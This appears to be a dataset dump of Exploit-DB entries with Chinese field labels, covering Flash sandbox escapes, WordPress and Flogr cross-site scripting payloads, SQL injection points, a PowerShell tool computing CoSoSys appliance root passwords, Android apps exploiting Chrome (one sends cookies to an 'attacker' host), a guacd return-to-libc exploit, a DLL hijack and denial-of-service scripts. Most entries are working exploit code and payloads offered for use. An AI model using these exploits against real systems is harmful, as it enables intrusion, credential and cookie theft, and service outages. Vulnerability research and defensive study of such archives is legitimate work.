QLWD/code_shield huggingface dataset:
标题: Flash Broker-Based - Sandbox Escape via Unexpected Directory Lock EDB-ID: 37841 CVE: 2015-3083 类型: REMOTE 平台: WINDOWS 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=279&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

FlashBroker - Junction Check Bypass With Locked Directory IE PM Sandbox Escape

1. Windows 8.1 Internet Explorer Protected Mode Bypass in FlashBroker

FlashBroker is vulnerable to NTFS junction attack to write an arbitrary file to the filesystem under user permissions.

There is a bad check in FlashBroker BrokerCreateFile method and BrokerMoveFileEx method. FlashBroker uses CreateFile to open the destination folder for check. If CreateFile fails, the destination will be considered as a valid path. However, FlashBroker uses dwShareMode as 0 in CreateFile, which make CreateFile always fail if handle of the destination folder is held by other.

The PoC writes calc.bat to startup folder. It has been tested by injecting the dll into 32-bit low integrity level IE process with Adobe Flash Player 16.0.0.305 (KB3021953) installed. It does not work in IE11 EPM as it needs to write normally to the temporary folder to setup the junction.

2. Credit
Jietao Yang and Jihui Lu of KeenTeam (@K33nTeam) is credited for the vulnerability.

Proof of Concept:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37841.zip URL: https://www.exploit-db.com/exploits/37841
标题: Flash Player - Integer Overflow in Function.apply EDB-ID: 37843 CVE: 2015-3087 类型: DOS 平台: WINDOWS 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=302&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Tracking for: https://code.google.com/p/chromium/issues/detail?id=470837]

VULNERABILITY DETAILS
An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments.

VERSION
Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
Operating System: Win7 x64 SP1

REPRODUCTION CASE

From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp

944 // Specialized to be called from Function.apply(). 
945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a) 
946 { 
947     int32_t argc = a->getLength(); 

...
 
966     // Tail call inhibited by local allocation/deallocation. 
967     MMgc::GC::AllocaAutoPtr _atomv; 
968     Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom));   //here if argc = 0xFFFFFFFF we get an integer overflow
969     atomv[0] = thisArg; 
970     for (int32_t i=0 ; i < argc ; i++ ) 
971         atomv[i+1] = a->getUintProperty(i); 
972     return env->coerceEnter(argc, atomv); 
973 } 


So the idea is to use the rest argument to get a working poc. For example:

    public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) {
        
        try {a0.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a1.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a2.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a3.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a4.writeUnsignedInt(0x41414141)}catch (e) {}
        
    }
    public function XApplyPoc() {
        var a:Array = new Array()
       
        a.length = 0xFFFFFFFF
        myFunc.apply(this, a)
    }

Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37843.zip URL: https://www.exploit-db.com/exploits/37843
标题: Flash Broker-Based - Sandbox Escape via Forward Slash Instead of Backslash EDB-ID: 37840 CVE: 2015-3082 类型: REMOTE 平台: WINDOWS 发布日期: 2015-08-19 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=278&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

FlashBroker - Junction Check Bypass With Forward Slash IE PM Sandbox Escape

1. Windows 8.1 Internet Explorer Protected Mode Bypass in FlashBroker

FlashBroker is vulnerable to NTFS junction attack to write an arbitrary file to the filesystem under user permissions.

There is a bad check in FlashBroker BrokerCreateFile method and BrokerMoveFileEx method. FlashBroker only considers "\" as delimiter. If the destination includes "/", FlashBroker will use a wrong destination folder for check.

The PoC writes calc.bat to startup folder. It has been tested by injecting the dll into 32-bit low integrity level IE process with Adobe Flash Player 16.0.0.305 (KB3021953) installed. It does not work in IE11 EPM as it needs to write normally to the temporary folder to setup the junction.

2. Credit
Jietao Yang of KeenTeam (@K33nTeam) is credited for the vulnerability.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37840.zip URL: https://www.exploit-db.com/exploits/37840
标题: WordPress Plugin MF Gig Calendar - Cross-Site Scripting EDB-ID: 37829 CVE: 2012-4242 类型: WEBAPPS 平台: PHP 发布日期: 2012-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/55622/info

The MF Gig Calendar plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

MF Gig Calendar 0.9.4.1 is vulnerable; other versions may also be affected. 

GET /wp/?page_id=2&"><script>alert('xsstest')</script> HTTP/1.1 URL: https://www.exploit-db.com/exploits/37829
标题: CoSoSys Endpoint Protector - Predictable Password Generation EDB-ID: 37803 CVE: 2012-2994 类型: REMOTE 平台: HARDWARE 发布日期: 2012-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/55570/info

CoSoSys Endpoint Protector is prone to an insecure password generation vulnerability.

Successfully exploiting this issue may allow an attacker to guess generated passwords and gain access to affected appliances.

CoSoSys Endpoint Protector 4 is vulnerable; other versions may also be affected. 

function Get-EPPPassword {
<#
.Synopsis

 Get-EPPPassword calculates the predictable root password for Cososys Endpoint Protector 4 servers.
 Author: Chris Campbell (@obscuresec)
 License: BSD 3-Clause
 
.Description

 Get-EPPPassword Timeline: 
  discovered            3 Mar 2012
  reported to vendor   12 Jun 2012
  reported to US-CERT  15 Jul 2012
  released             17 Sep 2012
    
.Example

 Get-EPPPassword -Serial 123456789

.Link

 http://obscuresecurity.blogspot.com/2012/09/cososys-predicable-password-cve-2012.html
#>

Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Serial)

#function to calculate sums from serial number 
function GetSerialSum {
 if ($Serial.Length -ne 9) {
        Return "EPP Serial Number is 9 digits"
    } 
    else {
 #convert $serial to an array of integers 
  [int[]] $SerialArray = [char[]]$Serial| ForEach-Object {[int]"$_"}
   }
 foreach ($Number in $SerialArray) {
            $Sum += $Number
            }
 Write-Output $Sum
}

#function to calculate epproot password
function GetPassword {
 Write-Output "eroot!00$Sums`RO"
 }
$Sums = GetSerialSum
GetPassword
}

Get-EPPPassword -Serial 135792468 URL: https://www.exploit-db.com/exploits/37803
标题: Google Chrome for Android - com.android.browser.application_id Intent Extra Data Cross-Site Scripting EDB-ID: 37792 CVE: 2012-4905 类型: REMOTE 平台: ANDROID 发布日期: 2012-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/55523/info

Google Chrome for Android is prone to multiple vulnerabilities.

Attackers may exploit these issues to execute arbitrary code in the context of the browser, obtain potentially sensitive information, bypass the same-origin policy, and steal cookie-based authentication credentials; other attacks are also possible.

Versions prior to Chrome for Android 18.0.1025308 are vulnerable. 

package jp.mbsd.terada.attackchrome1;
  
  import android.app.Activity;
  import android.os.Bundle;
  import android.content.Intent;
  import android.net.Uri;
  
  public class Main extends Activity {
      @Override
      public void onCreate(Bundle savedInstanceState) {
          super.onCreate(savedInstanceState);
          setContentView(R.layout.main);
          doit();
      }
  
      // get intent to invoke the chrome app
      public Intent getIntentForChrome(String url) {
          Intent intent = new Intent("android.intent.action.VIEW");
          intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main");
          intent.setData(Uri.parse(url));
          return intent;
      }
  
      public void doit() {
          try {
              // At first, force the chrome app to open a target Web page
              Intent intent1 = getIntentForChrome("http://www.google.com/1");
              startActivity(intent1);
  
              // wait a few seconds
              Thread.sleep(3000);
  
              // JS code to inject into the target (www.google.com)
              String jsURL = "javascript:var e=encodeURIComponent,img=document.createElement('img');"
                  + "img.src='http://attacker/?c='+e(document.cookie)+'&d='+e(document.domain);"
                  + "document.body.appendChild(img);";
  
              Intent intent2 = getIntentForChrome(jsURL);
  
              // Trick to prevent Chrome from opening the JS URL in a different tab
              intent2.putExtra("com.android.browser.application_id", "com.android.chrome");
              intent2.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
  
              // Inject JS into the target Web page
              startActivity(intent2);
          }
          catch (Exception e) {}
      }
  } URL: https://www.exploit-db.com/exploits/37792
标题: Google Chrome for Android - Same-origin Policy Bypass Local Symlink EDB-ID: 37795 CVE: 2012-4908 类型: REMOTE 平台: ANDROID 发布日期: 2012-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/55523/info
   
Google Chrome for Android is prone to multiple vulnerabilities.
   
Attackers may exploit these issues to execute arbitrary code in the context of the browser, obtain potentially sensitive information, bypass the same-origin policy, and steal cookie-based authentication credentials; other attacks are also possible.
   
Versions prior to Chrome for Android 18.0.1025308 are vulnerable. 

<body>
     <u>Wait a few seconds.</u>
     <script>
     function doitjs() {
       var xhr = new XMLHttpRequest;
       xhr.onload = function() {
         alert(xhr.responseText);
       };
       xhr.open('GET', document.URL);
       xhr.send(null);
     }
     setTimeout(doitjs, 8000);
     </script>
</body> URL: https://www.exploit-db.com/exploits/37795
标题: WordPress Plugin Download Monitor - 'dlsearch' Cross-Site Scripting EDB-ID: 37787 CVE: 2012-4768 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/55487/info

The Download Monitor plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Download Monitor 3.3.5.7 is vulnerable; other versions may also be affected. 

GET /wp/?dlsearch=">alert('xsstest') HTTP/1.1 URL: https://www.exploit-db.com/exploits/37787
标题: libguac - Remote Buffer Overflow EDB-ID: 37788 CVE: 2012-4415 类型: REMOTE 平台: LINUX 发布日期: 2012-09-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/55497/info

libguac is prone to a remote buffer-overflow vulnerability.

Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. 

#!/usr/bin/python
# CVE-2012-4415: PoC for guacd buffer overflow vulnerability # # Copyright (c) 2012 Timo Juhani Lindfors <timo.lindfors@iki.fi> # # Allows arbitrary code execution on Debian i386 guacd 0.6.0-1 with # default configuration. Uses return-to-libc to bypass non-executable # stack.
#
import socket, struct
PROTOCOL_ADDRESS = 0xbf807e9f
SYSTEM_ADDRESS = 0xb76e7640
class GuacdPOC:
    def __init__(self, command):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect(('localhost', 4822))
        self.s("select")
        self.c(",")
        protocol = (command + "; " + "#" * 265)[:265]
        protocol += struct.pack("L", PROTOCOL_ADDRESS)
        protocol += struct.pack("L", SYSTEM_ADDRESS)
        self.s(protocol)
        self.c(";")
    def s(self, x):
        self.sock.send("%d.%s" % (len(x), x))
    def c(self, x):
        self.sock.send(x)
GuacdPOC("touch /tmp/owned") URL: https://www.exploit-db.com/exploits/37788
标题: DELTAScripts PHP Links - Multiple SQL Injections EDB-ID: 37786 CVE: 2008-6720 2008-0565 类型: WEBAPPS 平台: PHP 发布日期: 2012-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/55478/info

DeltaScripts PHP Links is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DeltaScripts PHP Links 2012 is vulnerable; other versions may also be affected. 

http://www.example.com/phplinks/index.php?catid=[SQL]

http://www.example.com/phplinks/review.php?id=[SQL]

http://www.example.com/phplinks/search.php?search=[SQL]

http://www.example.com/phplinks/admin/adm_fill_options.php?field=[SQL]

http://www.example.com/phplinks/vote.php

In POST method :

id=[SQL]&rating=

http://www.example.com/phplinks/admin/adm_login.php

In POST method :

admin_password=test&admin_username=[SQL]&submit=Login

http://www.example.com/phplinks/login.php

In POST method :

email=[SQL]&forgotten=&password=[SQL]&submit=Login URL: https://www.exploit-db.com/exploits/37786
标题: Google Chrome for Android - Multiple 'file::' URL Handler Local Downloaded Content Disclosure Vulnerabilities EDB-ID: 37793 CVE: 2012-4906 类型: REMOTE 平台: ANDROID 发布日期: 2012-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/55523/info
 
Google Chrome for Android is prone to multiple vulnerabilities.
 
Attackers may exploit these issues to execute arbitrary code in the context of the browser, obtain potentially sensitive information, bypass the same-origin policy, and steal cookie-based authentication credentials; other attacks are also possible.
 
Versions prior to Chrome for Android 18.0.1025308 are vulnerable. 

// This is a part of malicious Android app.
  public void attack() {
    try {
      // let Chrome app load its Cookies file, so that Chrome app
      // automatically save it to /sdcard/Download/ directory.
      Intent intent = new Intent("android.intent.action.VIEW");
      intent.setClassName("com.android.chrome", "com.google.android.apps.chrome.Main");
      intent.setData(Uri.parse("file:///data/data/com.android.chrome/app_chrome/Default/Cookies"));
      startActivity(intent);
  
      // wait a few seconds
      Thread.sleep(3000);
  
      // read the Cookie file (/sdcard/Download/Cookies.bin)
      FileInputStream fis = new FileInputStream("/sdcard/Download/Cookies.bin");
      ...
  } URL: https://www.exploit-db.com/exploits/37793
标题: GNU glibc - 'strcoll()' Routine Integer Overflow EDB-ID: 37783 CVE: 2012-4412 类型: DOS 平台: LINUX 发布日期: 2012-09-07 漏洞利用脚本: // source: https://www.securityfocus.com/bid/55462/info

GNU glibc is prone to a remote integer-overflow vulnerability which leads to buffer overflow vulnerability.

Successful exploits may allow an attacker to execute arbitrary code in the context of a user running an application that uses the affected library. Failed exploit attempts may crash the application, denying service to legitimate users. 

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SIZE 429496730

int
main (void)
{
  char *p = malloc (1 + SIZE);
  if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL)
    {
      puts ("setlocale failed, cannot test for overflow");
      return 0;
    }
  if (p == NULL)
    {
      puts ("malloc failed, cannot test for overflow");
      return 0;
    }
  memset (p, 'x', SIZE);
  p[SIZE] = 0;
  printf ("%d\n", strcoll (p, p));
  return 0;
} URL: https://www.exploit-db.com/exploits/37783
标题: ThinPrint - 'tpfc.dll' Insecure Library Loading Arbitrary Code Execution EDB-ID: 37780 CVE: 2012-1666 类型: LOCAL 平台: WINDOWS 发布日期: 2012-09-04 漏洞利用脚本: // source: https://www.securityfocus.com/bid/55421/info

ThinPrint is prone to a vulnerability that lets attackers execute arbitrary code.

Exploiting this issue allows local attackers to execute arbitrary code with the privileges of the user running the affected application. 

#include <windows.h> 

 int hijack_poc () 
 { 
   WinExec ( "calc.exe" , SW_NORMAL );
   return 0 ; 
 } 
   
 BOOL WINAPI DllMain 
   ( HINSTANCE hinstDLL , 
   DWORD dwReason ,
   LPVOID lpvReserved ) 
 { 
   hijack_poc () ;
   return 0 ;
 } URL: https://www.exploit-db.com/exploits/37780
标题: Microsoft Windows 8.1 - DCOM DCE/RPC Local NTLM Reflection Privilege Escalation (MS15-076) EDB-ID: 37768 CVE: 2015-2370 类型: LOCAL 平台: WINDOWS 发布日期: 2015-08-13 漏洞利用脚本: Source: https://github.com/monoxgas/Trebuchet

Trebuchet
MS15-076 (CVE-2015-2370) Privilege Escalation

Copies a file to any privileged location on disk

Compiled with VS2015, precompiled exe in Binary directory

Usage: trebuchet.exe C:\Users\Bob\Evil.txt C:\Windows\System32\Evil.dll

This is a lightly modified Proof of Concept by James Forshaw with Google, found here: https://code.google.com/p/google-security-research/issues/detail?id=325

CreateSymlink tool was written by James Forshaw found here: https://github.com/google/symboliclink-testing-tools

Notes:

Microsoft.VisualStudio.OLE.Inerop.dll must be in the same directory
Exploit can only be one once every 2-3 minutes. This is because RPC can be help up by LocalSystem
Tested on x64/x86 Windows 7/8.1

Proof of Concept:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37768.zip URL: https://www.exploit-db.com/exploits/37768
标题: Flogr - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37779 CVE: 2012-4336 类型: WEBAPPS 平台: PHP 发布日期: 2012-09-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/55418/info

Flogr is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Flogr 2.5.6 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E/

http://www.example.com/index.php?[any]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37779
标题: Google Chrome 43.0 - Certificate MIME Handling Integer Overflow EDB-ID: 37766 CVE: 2015-1265 类型: DOS 平台: MULTIPLE 发布日期: 2015-08-13 漏洞利用脚本: #!/usr/bin/python2

import socket
import sys
import time

kHost = '127.0.0.1'
kPort = 443

def bind_listen():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
  s.bind((kHost, kPort))
  s.listen(1)
  return s

def send_certificate(c, r):
  print '[*] sending certificate'
  payload = ''
  with open('compressed', 'rb') as tmp:
    payload = tmp.read()
  c.send('HTTP/1.1 200 OK\r\n')
  c.send('Content-Type: application/x-x509-user-cert\r\n')
  c.send('Content-Encoding: gzip\r\n')
  c.send('Content-Length: {}\r\n'.format(len(payload)))
  c.send('\r\n')
  c.send(payload)

def main():
  print '[*] listening for connection on port {}:{}'.format(kHost, kPort)
  s = bind_listen()
  while True:
    c, (host, port) = s.accept()
    print '[*] connection from {}:{}'.format(host, port)
    while True:
      r = c.recv(1024)
      if 'favicon' in r:
        c.send('HTTP/1.1 404 Not Found\r\n\r\n')
      else:
        send_certificate(c, r)
        time.sleep(20)
        sys.exit(0)

if __name__ == '__main__':
  main()

Thanks,
Paulos Yibelo URL: https://www.exploit-db.com/exploits/37766
标题: Dell Netvault Backup 10.0.1.24 - Denial of Service EDB-ID: 37739 CVE: 2015-5696 类型: DOS 平台: WINDOWS 发布日期: 2015-08-07 漏洞利用脚本: """
Product: Dell Netvault Backup
Link: http://software.dell.com/products/netvault-backup/
Vendor: Dell
Vulnerable Version(s): 10.0.1.24 and probably prior
Tested Version: Version 10.0.1.24
Advisory Publication: July 30, 2015 
Vendor Notification: January 9, 2015
Public Disclosure: July 30, 2015
Vulnerability Type: Remote Denial of service
CVE Reference: CVE-2015-5696
Risk Level: Medium
Discovered and Provided: Josep Pi Rodriguez https://es.linkedin.com/pub/josep-pi-rodriguez/60/229/b24

-----------------------------------------------------------------------------------------------

Advisory Details:

Doing reverse engineering of the protocol was found several ways to cause a crash in the nvpmgr.exe process.The entire application (all processes) will die and it won't be able to restart again by itself unless someone do it manually.

Proof of concept script:
"""

#!/usr/bin/python
import socket as so
from struct import *

server = "192.168.140.130"
port = 20031
d = "\x18\x00\x00\x00"  
d += "\x01" 

#d += "\xCB\x22\x77\xC9" # Another crash example
d += "\x18\xE8\xBE\xC8" # Will cause the crash
d += "\x0B\x00\x00\x00" + "AAAA" + "B" * 6  
d += "\x00" # null byte

##
# send it

s = so.socket(so.AF_INET, so.SOCK_STREAM)
s.connect((server, port))
s.send(d)
s.close()

"""
-----------------------------------------------------------------------------------------------

Solution:

Disclosure timeline:
2015-01-09 Vendor notified via email
2015-05-26 Vendor notifies that the issue is fixed in version 10.0.5.x
2015-07-30 Public disclosure.

The fix done by Dell was not checked by the researcher.

-----------------------------------------------------------------------------------------------
""" URL: https://www.exploit-db.com/exploits/37739
标题: WordPress Plugin Job Manager 0.7.22 - Persistent Cross-Site Scripting EDB-ID: 37738 CVE: 2015-2321 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-07 漏洞利用脚本: Job Manager Persistent XSS

Details
========================================================================================
Product: Job Manager Plugin For Wordpress
Vendor-URL: www.wp-jobmanager.com
CVE-ID: CVE-2015-2321


Credits
========================================================================================
Discovered by: Owais Mehtab


Affected Products:
========================================================================================
Job Manager Plugin <= 0.7.22

Description
========================================================================================
"Job Manager Plugin For Wordpress"

More Details
========================================================================================
A persistent Cross site scripting (XSS) in Job Manager Plugin has been discovered,
the plugin's email field was not sanitized thus the vulnerability can be easily 
exploited and can be used to steal cookies,perform phishing attacks and other various 
attacks compromising the security of a user.

Proof of Concept
========================================================================================
Click on the "send through your résume" and set the below vector in email field

'"><img src=x onerror=prompt(document.cookie);>

Now click on initiate chat 

PoC Video
https://www.dropbox.com/s/i8cuf15hbdf5tmu/jobmanager-xss.mp4 URL: https://www.exploit-db.com/exploits/37738